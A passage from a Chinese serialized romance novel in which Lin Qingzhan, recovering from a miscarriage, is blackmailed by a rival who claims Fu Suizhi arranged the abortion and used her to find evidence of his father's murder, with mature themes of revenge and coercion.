傅随之站起身,走到沈家蓉面前,气势阴狠像是猎豹随时会扑过来将人脖子咬断似的。 他声音冷得可怕,“有些事,我还没证据,但不代表那些账我就不算了。奶奶,我可还没放过你。” 沈家蓉吓得嘴唇都在抽搐。 他们养在身边的这小猎豹真的长大了。 傅清檐说得对,冷血动物是会咬人的- 清月苑里。 傅清檐站在凉亭下,面前挂着他的宠物鸟,他拿着小木棍逗了逗,宠物鸟往旁边躲,他手指一弹,直接将那鸟弹开了。 他不是不知道傅鸿源被傅随之抓走的事情,但他没让自己的人过去救人。 一切都在他的计划之中。 听到荣华苑那边的声音逐渐变小,傅清檐转过身,看向站在身后的慕觞淙,嘴角的笑容更甚。 他走到木椅坐下,端起旁边的茶壶,喝了口茶,“觞淙,当初我让你养着林峰平的女儿,是真的没想到会有这么一天。让你将她送到傅随之身边的时候,我也没有想过她竟然真成了傅随之的软肋。” 慕觞淙神色看似恭敬,但眼底的情绪并不怎么好,他没有出声。 傅清檐边喝着茶,边悠悠然往后靠,“有软肋,好事啊。好事!” 这么多年,他想方设法都没能让傅随之倒下去,没想到啊,现在傅随之竟然有了软肋! 慕觞淙站在傅清檐背后,心底由衷泛起一阵恶寒。 连自己儿子都能利用的人,慕觞淙不敢没有防备之心。 傅清檐将茶壶放下,“去准备准备。再给他送一份大礼。” 慕觞淙接过他递来的东西,“是。”- 傅随之回到海棠湾时,顾宴迟还守在客厅里。 黑夜浓重,带着温热的潮湿感,傅随之裹挟一身灰暗走进来,脸色阴沉得可怕,像是从地狱走来的阎罗王,随时要取走人性命似的。 顾宴迟跟他从小一块长大,见过他各种模样,也知道他被傅怀锦逼迫得没有半分情感成了决绝的阴狠人物,但那些时候傅随之都只是满脸淡漠罢了。 现在的傅随之不一样,不只是阴沉阴郁阴狠阴翳,更像是要毁天灭地般却拼命压抑着自己的狂躁。 顾宴迟走过去抓着他的肩膀要将人往外推,傅随之反手就将顾宴迟压在沙发上,满身怨气,那双眼睛好似覆着冰霜,这状态明摆着谁来谁倒霉,谁来他就干谁,完全无差别地宣泄怒火。 顾宴迟被摁在沙发上,无奈叹了口气,“小蝉好不容易把林小姐哄睡下了,你别搞出动静。” 听到这话,傅随之周身的那层黑雾瞬间破了口子,渐渐地,慢慢地,散开了。 顾宴迟推开他那能捏死人的手,揉了揉肩膀,“傅三,你就不能轻点。去外面,我陪你喝几杯。” 傅随之犹如行尸走肉,跟着顾宴迟走出别墅,绕道去了玻璃花房。 秦楠没敢耽搁,跟着傅慎将桌子架起来,给摆上了啤酒。 顾宴迟不让他们拿白的过来,就怕傅随之不要命地喝,待会胃穿孔要遭罪。 弄好后,他们退到玻璃花房门口守着。 秦楠气鼓鼓地坐在木栈道上,握紧拳头恨不得抽自己两巴掌。 傅慎走过去,跟着坐下,拍了拍他的肩膀。 外人都叫他冷判官,是因为他冷面无情,真的很不会说话,他说不出安慰秦楠的话,只能无声地陪着他。 即便是今晚回到老宅闹了这么一出,他心底还是觉得不痛快,“我他妈脑子真是让驴给踢了,当时我叫人过去买就好了,我应该守在林小姐身边。我真是脑抽!” 傅慎点点头,“是挺 欠抽的。” 秦楠一脸苦相看着他。 傅慎无奈,“这事儿确实怪你,爷没收拾你,是因为他现在没空。最近走点心,好好守着林小姐,别再出岔子了。” 秦楠用力点点头,“我他妈又不是脑子有病,还能在同一个坑里摔两次?” 傅慎用看白痴的眼神看着他,“希望不是。” “……” 玻璃花房里。 温室里栽种的海棠花开得正是鲜艳,传来阵阵花香。 傅随之和顾宴迟坐在小圆桌旁边,身体往后靠,从来都是气势如虹的男人难得露出颓废之色。 他低着头,稀碎的发丝遮挡了颓败的眼眸,周身的那股子冷傲变得更加低温,像是北极的冰川,让人不寒而栗。 顾宴迟往玻璃杯里倒了酒,推到他面前,声音都不敢太高音量。 “事已至此,想想该怎么弥补人姑娘。” 林青盏和傅随之在一起后,外界就有传闻,从来都无欲无求的傅三爷不可能真的喜欢林青盏这个戏子,就是养着只金丝雀,逗逗乐罢了。 但顾宴迟他们几个非常清楚,傅随之这人压根不屑于玩女人,不管当初是为何将林青盏留下的,傅随之既然对她动了心思,那就是真的。 傅随之抬起那双幽深似海的眼眸,“怎么弥补?” “弥补这种事,自然是要往人心坎里送才叫弥补。她想要什么,你给什么就是了。” 傅随之苦笑。 他现在给不了。 今晚他刚去傅家老宅大闹了一场,接下来要让沈钰铭和傅鸿源两人绑定在一起,沈家人才能作罢,不再盯着他。 但即便如此,要光明正大八抬大轿将她娶进傅家,也得先镇得住老爷子和傅清檐那边才行。 怎么也得再一年。 傅随之抓起玻璃杯猛地灌了一杯酒,“哐当”一声又将杯子搁下。 顾宴迟为他将酒杯满上,“现在给不了就跟人姑娘解释解释。你们关系都这样了,别总是闷着声不说话。你这套用来对付外人可以,对自己的女人没必要。” 傅随之抬头看他。 顾宴迟又说:“女生都是喜欢别人哄的。你看你现在这副样子,也就是人林小姐喜欢你才跟着你,不然其他人哪里敢靠近。” 傅随之沉着脸,端起酒杯又猛地灌了一杯酒。 这晚顾宴迟陪他喝到天亮,傅随之还是清醒的,只是走不动了。 顾宴迟举手投降,叫傅慎和秦楠把人扛去次卧睡觉,顾宴迟自己找了间客卧昏迷不醒。 林青盏的情绪很不好,顾蝉在海棠湾陪了她几天,博物馆那边有事打来电话,顾蝉才不得已离开。 离开前,她特意给顾宴迟打了电话,让顾宴迟提醒傅随之下班早点回家陪着林青盏。 傅随之会也不开了,起身离开公司,就往海棠湾赶。 林青盏还在做小月子,医生建议不要吹到风,最好也不要频繁爬楼梯,所以这几天她的活动范围就在二楼。 顾蝉离开后,她闲着无聊,拿了本书坐在落地窗前的沙发上看。 这是她最喜欢的一本书,名叫《绿山墙的安妮》。 看了会儿,桌上的手机响起。 她拿起来看到是林博蘅的号码,迟疑片刻才接起来。 果然听到了熟悉的声音,“小灯笼,是我,哥哥。” 林青盏纤细指尖捏着手机,听到这声音,莫名觉得鼻尖发酸。 除了手术出院那天,她看到顾蝉没忍住大哭一场,后面几天,林青盏虽然沉闷不说话,但也没有太大的情绪波动。 可这会儿听到亲人的声音,林青盏心底的那股子委屈像是海浪翻涌而来,瞬间就要将她淹没。 贺兰承听出她声音的异常,宽慰道:“哥哥在,想哭就哭吧。” 林青盏压制在心底的情绪彻底被扯了出来,再也忍不住抽泣起来。 她在望月台这么些年看过各种冷暖故事,也演绎过很多悲欢离合,但真的落在她身上的历练却不多。 她的生活很简单,性情也单纯。 单纯到可以为了护着望月台就去找傅随之说愿意跟着他,简单到不过是了解了傅随之的性情,就能不顾外人对他的评价,钟意于他,甚至想着和他有一个家,能和他天长地久。 她以为这些事情最大的阻碍不过是两人的身份,他们之间的阶级存在,叫她得很努力才能跨越过去。 万万没想到,两人在一起后最大的一次难关是,失去他们两人的孩子。 林青盏抽泣着和贺兰承诉苦,说得慢慢吞吞的,却也像是终于找到了一个出口,能将心底的那些情绪都宣泄出来。 贺兰承安静听着她说完,宽慰她,“这种事情很正常。前三个月胚胎发育不好,都会有自然淘汰的概率。你上网查一查,就能知道。不用伤心。但是——” 林青盏擦了擦鼻尖,泪水终于止住了。 贺兰承轻叹一口气,“小灯笼,博蘅查到,傅随之的人最近去了海城,应该是在调查爸爸。如果他确定了那件事是爸爸做的,而你是爸爸的女儿,我们都不确定他这种人会做出什么事。我希望——” 林青盏还是坚持,“哥哥,随之不会的。他不会伤害我的。” 贺兰承没有坚持劝说,转而告诉她,“你知道你出院那天晚上,傅随之去了趟傅氏老宅吗?” “嗯?” “他当着傅怀锦和沈家蓉的面,让傅鸿源和沈钰铭洞房。他们都还没结婚,这算什么‘洞房’。说白了就是傅鸿源把沈钰铭.强.奸了。” 林青盏心底“咚”地一声,着实是吓了一跳。 “傅随之这人阴狠毒辣,有仇必报。沈家蓉和沈钰铭去羞辱了你,以地位歧视压迫你,让你承受不住流产,失去了你们的孩子,这是你作为女性承受的最大苦难。傅随之就要叫沈钰铭以相同的代价来偿还!这就是浮城响当当的傅三爷。他的阴狠不只是流传,是他这些年干过的事情,一件一件地震慑出来的。” 贺兰承声音平静却有着些许急切,“小灯笼,我知道你相信他,但我不能让你冒这个险。这次你要听我的,先离开一段时间,等到事情都落定了,你如果还想跟他在一起,他也值得你这么做,那我会认真考虑。” “哥,可是——” “没有任何可是。你给我的所有理由,我都不接受。小灯笼,我已经没有爸爸妈妈了,我不能失去我唯一的妹妹。如果你不同意,我也能有方法,从傅随之身边将你带走。” 贺兰承口吻笃定,不容林青盏拒绝。 随后宽慰了她几句,贺兰承挂断了电话。 林青盏指尖捏紧单薄的手机,转身看向窗外,垂眸就能看到漂亮的玻璃花房。 她记得第一天到这里,远远看到这片玻璃花房时,她心底很震惊。 因为她从来没有看到过这么美丽的花圃,那时候她想着,傅随之这种传闻中的阴狠角色竟然会在家里费心养育这么多海棠花,心底是十分诧异的。 当时才刚开春,海棠花热烈得迎接着夏天,转眼间要进入秋天了。 有些事是否也要尘埃落定呢? 房间大门突然被拉开,林青盏转过身,看到是傅随之走了进来。 他这人其实很没趣,一年四季就是黑色西装搭配黑色衬衫,可就是这样一身黑的装扮,依旧能将那张脸庞衬托得矜贵俊逸。 林青盏盯着那张脸看了许久,在他逐渐靠近时,终于将目光移开,看向了窗外。 下一秒,高大的黑影压过来。 林青盏被他抱起来,她恍惚抓住他的衬衫,抬眸看他。 傅随之没什么表情,垂眸看她一眼,抱着她坐回单人沙发里。 他宽阔的背往后靠,手臂勾着她的腰,让她趴在他身上。 两人有过无数次的亲密,她都习惯了他的体温,不再惧怕不再心慌。 她白皙脚踝踩着他的西装裤,蜷缩着身体靠在他怀里,脸颊贴着他结实的肩 膀,这一刻的感觉有些恍惚。 她转身望着窗外的明月,知道她的恍惚是为什么了。 原本是她可以依靠的男人,如此结实的胸膛伟岸的身躯,还是给不了她最真实的安定感。 见她不说话,傅随之温热手掌贴着她白皙脸蛋揉了揉,低头去吻住她的额头。 “还疼吗?” 林青盏摇头。 或许是身体底子好,整场手术下来,林青盏其实没有什么感觉,前前后后都被人照顾得很好,傅随之这种冷面大王也温柔呵护备至。 身体不疼,但心疼。 这些话,她现在不想和傅随之说。 傅随之能感觉到,将她紧紧抱着,无声地抚着她的后背,一下一下说尽他的疼惜- 那夜傅氏老宅里发生的事情,像是山洞里的火把,被生生捂住熄灭了。 但并不是谁人都不知,只是知道的人不敢说,那些可是傅家的事情,不说傅清檐那只老狐狸,就傅随之都无人敢招惹。 之后,外面的传闻很快转了方向,原先议论沈钰铭和傅随之婚礼的声音消失不见,再传出消息说的是,浮城沈家这边钟意的是傅家二房傅清檐的儿子傅鸿源。 傅沈两家已经定下两人的婚事,婚礼将在十二月举行。 至于傅随之这边,他也不再藏着掖着,高调从苏富比拍卖会拍下了上百亿的珠宝,说是用来送给他身边那位林小姐的。 不仅如此,他还豪掷千金买下半山别墅,挂在林青盏名下,权当是送她的礼物。 外人都在传,这位虽然还没进门,但受到的已经是正宫的待遇,怕不是就等着傅沈两家的联姻结束,傅随之就要将人娶进门吧? 也有知情的人站出来说话,“这位想进门怕是没那么简单。” “沈钰铭怎么说都是沈家大小姐,嫁进傅家,虽算是高攀,但以后还能有沈家支撑。林青盏可不同,她就是望月台的一个戏子,傅家那种豪门背景怎么可能让她进门。” “傅家再豪门大院又怎么样,只要是傅随之点头答应,她照样能风风光光进门去。” “就怕傅随之压根没那个心吧。” …… 外界议论纷纷,连纪淮野都听到了风声。 他心疼自己的学生被人欺负,在一次聚会上,借着喝酒“随意”说出口,承认了林青盏是他关门弟子的身份。 消息一传出去,外界又有了不一样的声音,“林青盏是纪三爷的学生,这么了不得?听说纪三爷出了名的傲,平常人他是轻易看不上的。这位林小姐是有什么本事,竟叫他愿意点头收她做学生。” “听说是纪三爷硬要收人为徒的,那位林小姐喜欢昆曲,终归没有真的深入古物修复这一行。” “有纪三爷支撑呢,也难怪能让傅三爷刮目相看。” 听到消息,林青盏给纪淮野打了电话致谢。 纪淮野心疼学生受苦,悠悠叹了口气,“小盏啊,当初老师就跟你说过,傅随之这种人身份地位太高了,你真要跟着他,必然得受些苦头。” 林青盏只是笑,“老师不是常说,人生短暂,当以自己喜欢的为主?” 纪淮野被这话堵住,再也说不出别的了,只能随着林青盏高兴。 “行了,你高兴就好。” 林青盏垂下浓密眼睫,“老师,小蝉是个很有天赋的学生,她热爱古物修复,她值得你将毕生所学传授。” “这我自然知道。” “老师不用担心我,我挺好的。” “行了。要是傅随之那小子敢欺负你,你一定记得告诉我。” “好。”- 林青盏这小月子做了一个月,才终于再次出门。 只是阵仗太大。 她坐的是以往的迈巴赫,前后各有一辆车跟随,除了她车上的傅小敏和傅小灵,后面车上还有秦楠和林博昶。 秦楠和傅慎是傅随之的左膀右臂,这么多年来,公司里的事务都是他们在掌控,调走秦楠,傅慎还能撑得住,但傅慎要是也调走了,他手里没多少能用的人。 可是上次的事情给了傅随之重击,他觉得秦楠一个人靠不住,思前想后还是将林博昶叫过来跟着林青盏。 林博昶一直想得到傅随之的重用,被调遣到林青盏这边,他也甘愿。 到了望月台,林博昶立马下了车,赶过来为林青盏开路,“林小姐,请。” 傅小敏看不下去,“你这样子真的很狗腿!” 林博昶嘴角挂着浪荡不羁的笑,“谢谢夸奖。” “……” 他们一群人站在望月台门口,很是惹眼。 林青盏不想过于受到瞩目,先一步往里面走去,傅小敏不敢耽搁,赶紧跟了进去。 到了后院,秦楠和林博昶两个大男人不好跟随,只能由傅小敏和傅小灵护着进去。 林青盏多少有些无奈,“你们也不要太过于紧张,这是在望月台,不会出什么事的。” 傅小敏姐妹只是笑,却不敢怠慢半分。 林青盏迈步走过门槛,看到兰青翎和何青素坐在院子里喝茶。 看见她,兰青翎随即站起身,“身体好了吗?” 兰青翎和何青素那天就在现场,知道她孩子没有的事,林青盏也就没有隐瞒。 “没什么大碍了。”—— 作者有话说:大家不难过哈。 这两个宝宝很快会回来,现在确实时间不合适。 要开始计划逃跑了。 后面傅三找到人会把人宠到底的! 追妻后超级甜的!! 第58章 兰青翎牵着她手,将人拉到竹凳子坐下。 小方桌上面摆放着茶具,旁边小炉子里温着茶水,这个季节泡上一杯醇香的浓茶,真的是再舒服不过的事了。 兰青翎为她斟了杯茶,又拿来羊绒披肩为林青盏披上,何青素把刚刚开的核桃仁推过来,说让她吃点。 “谢谢。” 何青素虽然嫉妒林青盏能得到慕觞淙的关注,也嫉妒她怎么就遇上了傅随之这种男人能为她高调秀恩爱,但嫉妒归嫉妒,她心底还是将林青盏当做师姐,是有感情在的。 看到她流产没了孩子,何青素心底也会有怜悯。 “你身体刚好,就要上台了吗?” 兰青翎看着她,小心翼翼劝说:“不如再疗养一段时间。” 林青盏抬眸看了看她们,将白色陶瓷茶杯捏在手里,“我也想过这点。一个月没上台了,多少有些生疏,我也想着要不再休息几天。就是怕耽误台里的安排。” “你这话说得见外了。”兰青翎抓住她的手拍了拍,“这个月小素已经能担得起你的角色了,这点你完全不用担心。想休息就休息一段时间,再慢慢开嗓找感觉。” “好。” 林青盏喝了口茶,抬起头时,看到紫薇花飘落下来。 “这转眼就入秋了。” 何青素剥着核桃往林青盏面前放,边说道:“你们有没有这种感觉,小时候觉得日子过得特别慢。每天都要开嗓练功,我腿很硬,每次练功都觉得好疼啊。一天过得特别慢。” 兰青翎:“那会儿,你天天嗷嗷叫,整个院子都是你的声音。” 林青盏跟着笑了。 何青素:“长大了, 就觉得时间很快,日复一日,年复一年,眨眼间我们都这个岁数了。” 林青盏抿了口茶,“入了秋,很快就要过年了。” 何青素手托腮,“小时候我特别喜欢过年,因为过年就能吃很多好吃的,师父还会给我们发压岁钱。” 林青盏眨了眨眼睫,“以前每年除夕夜,你爸妈就会来接你。我和师兄师姐一起守岁,我都会许个新年愿望,希望能找到自己的亲人。” 林青盏一直在找哥哥这件事,台里的人都知道。只是这么多年都没有消息,大家都觉得她哥哥估计凶多吉少。 兰青翎佯装不经意宽慰:“你还有我们这一大帮亲人呢。而且,你现在也找到了你喜欢的人,以后也会有自己的家。” 自己的家? 她真的会拥有吗? 贺兰承那边打过几次电话,始终在劝说林青盏尽快做出决定。 好像有什么在身后追赶着贺兰承似的。 林青盏追问过,贺兰承没办法才解释,一来他回国时,马来西亚那边出了点问题,贺老的身体越发不行,他必须尽早回马来西亚去;二来是贺兰承发现傅随之的人最近不只是去海城那边调查,甚至查到了林峰平原来的公司,不知道他现在具体查到了什么。 前面他们猜测傅随之知道了林青盏的身份,但是至此他都没有提及,贺兰承知道他还在调查当年的事情,或许是想调查清楚再决定。 贺兰承和林青盏都不知道林峰平当年做了什么,如果林峰平真的是害死傅清庭的凶手,那傅随之会做出什么,他们都无法确定。 林青盏也说不清心底的感受,她觉得傅随之对她挺好的,但是他心底又好像藏着太多事情没有想告诉她。 再加上失去孩子的事情,两人中间总像是隔着一层纱。 这段时间,林青盏以身份不适,和阮青山、兰青翎协商暂时不要重回舞台,只是在院子里帮忙带新人。 昆曲这门艺术不是那种半路出家随意就能做好的,终归是要下点苦功夫。 以前他们都是孤儿只能咬着牙练功,现在院里的多半都是学院里送来学习的,身份不同,也难教许多。 林青盏讲话温柔,能耐得住性子一遍遍地教,倒是适合当老师的料。 做这件事也让她渐渐放下了失去孩子的苦楚,但她没想到沈钰铭会找上门来。 这段时间傅随之去京都谈项目,林青盏觉得在海棠湾沉闷,就带着傅小敏和傅小灵过来望月台住了几天,每天都和兰青翎、何青素混在一起。 何青素从小喜欢买衣服,就缠着林青盏她们要去定制旗袍,林青盏想着闲着也是闲着,就和兰青翎陪着她一起去了LZ工作室。 这个工作室在浮城名气很高,私人定制的旗袍非常漂亮,何青素一过去,就找了设计师谈设计。 林青盏和兰青翎闲逛了下工作室,迈步往二楼走去。 二楼中央摆放着之前她看中过的那套龙凤秀禾服,瞬间吸引了林青盏的目光。 她走过去,站在秀禾服面前,仔细端详了片刻,眼中满是喜爱。 兰青翎勾着她手臂,笑着说:“喜欢吗?” “嗯。” “青素从小喜欢买衣服,每次挑选的都是各种花里胡哨的,你呢就喜欢偏中式的。我记得十四岁那年,你用自己赚的钱买了套新中式连衣裙,穿上都不舍得换下来。” 林青盏伸手推她手臂,“也没那么夸张。” 兰青翎挽着她手臂,歪着脑袋靠在她肩膀,“这件新娘服很好看,你结婚的时候,一定要穿上这么漂亮的衣服。” 林青盏也跟着歪头与她脑袋相抵,“我也很期待呐。” “如果喜欢,可以去试一下。” 身后突然响起声音,林青盏转过身,看到是店里的头牌设计师。 设计师望着林青盏的眼神极为热烈,“当初我们在设计这套秀禾服的时候,设想过会是怎样的女神穿上这套新娘服。她肯定很漂亮,或许小家碧玉,或许高端大气,但肯定很有气质,就像是这位仙女一样。仙女姐姐,你要试一下么?” 林青盏略显迟疑。 兰青翎在旁边鼓动,“去试一下吧只是试一下嘛,指不定你喜欢呢。” 在她们炙热的目光下,林青盏当真跟着设计师和助理走进了VIP休息室里,有专门的助理小姐过来帮她换上衣服。 兰青翎坐在米色沙发上等待,没一会儿何青素也找了过来。 “小盏姐呢?” 兰青翎笑着解释:“刚刚看到一套秀禾服很好看,我让她去试试。过来坐会儿。” 何青素走到沙发坐下,神色有些恍惚。 其实今天这趟出门,是她的蓄谋已久。 慕觞淙前几天找了她,要求她将林青盏带出来,他自有安排。 何青素原本是不想答应的,但慕觞淙听到她拒绝,态度一下子就变了。 何青素知道,慕觞淙当初会找到她,是因为她离林青盏近,能为他所用罢了。 她什么都清楚,可是她没办法,她想待在慕殇淙身边。 想到这儿,何青素心烦意乱。 她手里捏着手机,屏幕上是慕觞淙发来的消息,「五分钟后到。」 她咬了咬牙,仍在犹豫,要不要提醒林青盏,或者直接说服她离开? 她出神之际,面前的浅蓝色拉帘被从中间往两边推开,何青素抬起头,看到站在中央的林青盏。 她穿着一袭红艳的秀禾服,乌黑长发绾着发髻,那么耀眼、夺目。 兰青翎站起身,走到林青盏面前,“太好看了!” 何青素也跟着走过去,“小盏姐,非常好看。” 林青盏抬起头,望着镜子里的自己,在这一刻,像是完成了梦想中的那个场景。 最终,她摇了摇头,婉拒了设计师的提议,没有买这套衣服。 换好衣服出来后,兰青翎看出她的情绪,“真的不再考虑一下吗?” 林青盏坚持,“或许我本就不该得到。” 她们来这一趟工作室,原本就是想要来定旗袍的,目的完成,就想着要离开。 刚走出休息室,没想看到沈钰铭迎面走过来。 上次沈家蓉带着沈钰铭到望月台来找事,把林青盏气得流产,这会儿又突然出现,兰青翎第一念头就是站在林青盏面前。 “你又要做什么?” 不过短短一个月,以往容貌精致的沈钰铭像是蜕了一层皮,双眼无神,整个人显得极为憔悴。 她身后的宋雅薇倒是精神许多,先是瞪了一眼何青素,随后将目光落在林青盏身上,好似恨不得为闺蜜将林青盏千刀万剐。 “林小姐,我有件事想跟你聊一聊。” 林青盏再温柔的人儿,对沈钰铭也没办法摆出好脸色,是她间接害她失去了孩子,她现在恨不得抽沈钰铭一巴掌。 “我没什么需要跟你谈的。让开。” 兰青翎第一次听到林青盏如此冷漠的口吻,回眸看她一眼,心疼地将人搂入怀中。 “我们走吧。” 林青盏看都没看沈钰铭一眼,迈步要往楼下走去。 沈钰铭着急转过身,大声道:“林峰平的事情,你也不想知道吗?” 林青盏驻足,回眸看她,“你怎么知道?” “我不仅知道你是林峰平的女儿。我还知道,傅随之当初为什么会将你留在身边。”沈钰铭满脸得意,“你不想知道答案吗?”- VIP休息室里。 林青盏坐在米白色的单人沙发里,沈钰铭走进来在她对面坐下。 林青盏没让兰青翎她们两人进来,沈钰铭也就让宋雅薇一起等在门口。 休息室里只有他们两人。 沈钰铭沈大小姐五官立体,长相大气,某种程度上气势是锐利的。 林青盏看似温柔,那双桃花眼盯着沈钰铭的时候,气势却不输半分。 许是跟傅随之久了,一举一动都沾染了傅随之的气息,略显淡漠和隔阂,轻易不能叫人压下去。 “沈小姐有话快说,我只给你十分钟。” 沈钰铭勾着嘴角冷笑,“看林小姐这态度,也不是很在意自己父亲的那件事啊。也对,不然林小姐怎么能知道自己父亲害死了傅随之的父亲,还能心安理得地待在他身边?” “沈小姐这话说的,好像知道当年的真相一样。难道我父亲是受你沈家指使去做的那件事,不然沈小姐怎么会这么笃定是我父亲干的?” “林小姐真是伶牙俐齿,难怪傅随之喜欢。”沈钰铭也不藏着掖着,“没错,我喜欢傅随之,所以我费尽心思想要进傅家嫁给他,但他是怎么对我的?我恨他。我就是不想让你们好过,你明知道这一点,还是留下来,就证明你很 在意当年的事情。” 林青盏纤细指尖蜷缩了下,没有说话。 “当年你父亲到底受何人指使,傅随之一直在调查,他怀疑是傅清檐,但是他没有直接证据,无法将傅清檐绳之以法。而这个所谓的直接证据,就在你父亲身上。” 林青盏怔住。 “当年你母亲身体不好,做手术需要一大笔钱,傅清檐买通了你父亲,让他解决掉傅清庭。这些事情,你父亲手里留下了证据。” 沈钰铭盯着她的眼睛,明了林青盏所想,“你肯定想知道,我为什么会知道。因为当年我父亲未雨绸缪,想着之后要攀上傅家,叫人专门调查了这件事。” 傅清庭到底死于谁之手,是林峰平,还是傅清檐另外派了人? 现在恐怕只有傅清檐知道,因为当年有关的人都死了。 但沈家家主调查到林峰平之所以能带着妻儿离开浮城,是因为他手里有傅清檐犯罪的直接证据。 林峰平离开浮城后,一直躲在海城郊外,没敢露面,但还是被傅清檐的人找到了。 “你父亲去世后,按理说傅清檐应该高枕无忧,但据我父亲调查,这些年他一直让人在海城月亮街周边找寻。你父亲都死了,他们在找什么东西,不用我说你应该也能猜到。我父亲认为那些证据,傅清檐还没找到。这些事情,傅随之那么厉害的人不可能没调查到。” 沈钰铭悠悠然地将目光投向林青盏,“从傅鸿源将你的资料送到他手里的那段时间,他就调查清楚了,你是林峰平的女儿。他将你留下,是想知道,傅鸿源隐瞒你的身份将你送过来,到底是为什么?另外,他也想从你身上下手,试一试能不能找到你父亲手里的那些证据。” 林青盏神色看似平静,心底却“咚”地一声,像是有什么东西瞬间塌陷下去。 “他一开始将你留下,就是动机不纯。”沈钰铭笑了笑,“当然了,你肯定要说他后来是真的爱上你了,对你一直很好。可是,他能是真心的吗?他或许喜欢你,但你是他杀父仇人的女儿,他可以跟你有□□之欢,但绝对不可能跟你天长地久相伴。” 林青盏眼眸暗了下来,“你又不是他,你怎么能知道他的想法。” “我是不知道他怎么想的,可是我能查到他做了什么。” 沈钰铭拿出手机,点了下屏幕,随后将手机扬声器转了个方向,朝着林青盏。 下一秒,手机传出一阵声音。 “那位林小姐怀的双胎,都停止发育了吗?” “嘘。没有,据说有个发育不好,但另一个胚胎是好的,胎芽正常,再等等就长出胎心了。” “那为什么要手术?” “说是那位姓傅的先生,找了院长过来,亲自去跟黄主任谈的。目的就是要给那位林小姐流产,孩子不能留。” “为什么不能留,他不要自己的孩子?” “谁知道啊。豪门恩怨说不清哦。” 林青盏只觉得大脑像是被雷霆击中,瞬间一片空白。 沈钰铭冷眼看着她:“傅随之或许喜欢你,但他从来没有想过将你娶进门,更不可能让你生下他们傅家的孩子。从始至终,你都不过是他宣.泄.性.欲.的工具罢了。” 林青盏感觉自己像是坠入深海,就快要不能呼吸。 沈钰铭继续说道:“你要是不相信,大可以直接去跟傅随之对峙。不过据我所知,傅随之的人最近频繁出入海城,已经查到马来西亚的贺家身上。如果他知道,贺兰承在调查他,想反过来对付他,你觉得傅随之那种人,能让贺兰承再过安生日子么?” 林青盏豁然抬眸。 “贺兰承就是你哥哥林解,对吧?” 沈钰铭知道林青盏在意的是什么,嘴角勾起了胜利的笑容。 “退一万步说,就当傅随之喜欢你,看在你的面子上,不会对贺兰承怎么样。但如果你哥哥贺兰承知道傅随之从一开始就在利用你,还故意让你流产害死了你们的孩子,叫你吃尽苦头,不知道贺兰承会不会冲动之下一刀砍了傅随之,或者和傅随之斗个你死我活呢?” 林青盏如坠冰窖,缓了片刻,才握紧冰凉的手指,“你想要什么?” “林小姐果然是聪明人,这场谈判比我想象中容易。”沈钰铭死死盯着她,“我得不到的,你也不能得到。傅随之如此对我,我要他永失所爱,痛苦一生!” 林青盏望着沈钰铭,方才的慌乱慢慢沉稳下来。 她知道,或许这是上天在为她做出抉择。 “还有,要劳烦林小姐替我办一件事。傅随之在接触的蓝盛项目,已经到了最关键时刻。十天内,我要你拿到傅随之手里的核心文件,并且离开他。否则,十天后,贺兰承那边就会拿到傅随之所作所为的所有证据。只要他们斗起来,我沈家也可以坐拥渔人之利,没有差别。”- 回到海棠湾,林青盏将自己关在房间里,一整夜未出。 傅小敏和傅小灵在门口守着,急得团团转。 “是不是又发生什么事了?”傅小灵看向傅小敏,“早知道不应该让小姐和兰青翎姐他们独自去工作室。” 当时想着林青盏身体好了,四周围都有保镖,而且也不可能一直将她困在海棠湾,傅随之这才点头让她自由出门。 没想到,一回来情绪就不对。 傅小敏转身踹了秦楠一脚,“给林博昶打电话,到底调查清楚没有,是不是在里面碰上谁?” 秦楠无奈,“问了兰青翎和何青素,都说没有,就是去看了看旗袍。也问了工作室,说从始至终,小姐就试了那套秀禾服——” 他骤然停下声音。 傅小灵疑惑问:“会不会是试了那套衣服,想起最近的事情,心底又难过了。” 傅小敏望着紧闭的房门,转身交代秦楠,“给爷打电话。” “早打了。傅慎说这会儿爷和周先生还在宴会上,不方便回电话,让我们先守着。” “那怎么搞?”傅小敏烦躁地拧了秦楠一把。 秦楠很无辜地抱住手臂,“我不知道啊。” 他们急得好似热锅上的蚂蚁,团团转,压根不知道该怎么办。 房间大门在这时候被打开。 林青盏换了身柔软的真丝裙,脸色已经不似方才那样苍白。 她抬起头,看到门口站着的三人,知道他们在担忧什么,轻启唇,“我没事。” 三人目光直勾勾盯着她,明显不敢松懈。 林青盏没有过多解释,只让傅小灵将晚餐送到玻璃花房里面,说她想在那边用餐。 傅小灵没敢耽搁,赶忙去叫李婶,让准备饭菜送到玻璃花房里。 林青盏窝进黑色意式沙发,手托腮斜靠在扶手上,明亮眼眸盯着旁边的海棠花。 玻璃花房里满是海棠花,看似没有章法,其实是园丁特意设计的不规则种植路线。 玻璃花房中央摆放着圆形的地毯和沙发,之前都是白色的,只是那次傅随之在这里和她第一次时,弄得白色地毯和米色沙发满是血迹和斑驳的痕迹,那之后傅随之就命人将所有的都换成了灰色和黑色。 灰色圆形地毯,搭配黑色意式宽沙发,四周围着透明玻璃,像是嵌入海棠花丛的一座平地水晶。 林青盏则是掉落水晶的小仙女。 以前林青盏虽然喜欢花,但对海棠花并没有如此痴迷,是来了海棠湾后,看到美丽的玻璃花房,连带着对海棠花有了更深的喜爱。 之前她以为,她和傅随之感情的开始虽然不寻常,但他们和其他人一样彼此相爱,感情这条路终归能走下去。 这座玻璃花房,也是她能拥有的。 现在想来,或许一开始她就错了。 他从始至终都未想过跟她有永远的旅程。 她举起纤细白皙手掌,隔着玻璃围栏摸到最靠近的那朵粉色海棠花,指腹能感受到花瓣的细腻以及温柔,却没注意花梗上的细刺,就能刺破肌肤,凝血带痛。 她抿紧嘴唇,将那根黑刺拔出,看着指尖流着血,心底的那股孤勇彻底消散。 她知道自己赌不起。 她只剩下哥哥这一个亲人了。 第59章 京都。 傅随之从宴会离开,上了车,随即接过傅慎递来的手机,边听他禀报,边点开屏幕给林青盏打了电话过去。 电话响到自动断掉,彼端也没有接听。 连续打了三个后,傅随之转而打了秦楠的电话,响一声就被接起,秦楠在电话彼端胆战心惊地解释了今天的所有事情。 “林博昶现在还在调查工作室那边,连带沈家傅家那边的动静也在查了。” 傅随之神色阴沉,问:“她在做什么?” 秦楠站在玻璃花房门口守着,看着倚靠在沙发上的林青盏,以及被她搁在旁边的手机,“小姐刚吃完晚饭,现在在花房里休息。” “让她接电话。” 秦楠很是为难,求救地看向傅小敏,傅小敏瞥他一眼,干脆接过手机,“爷,是我小敏。小姐说不想接你电话。” “……”秦楠差点咬到舌头。 姐姐啊,就不能说得婉转一点吗?! 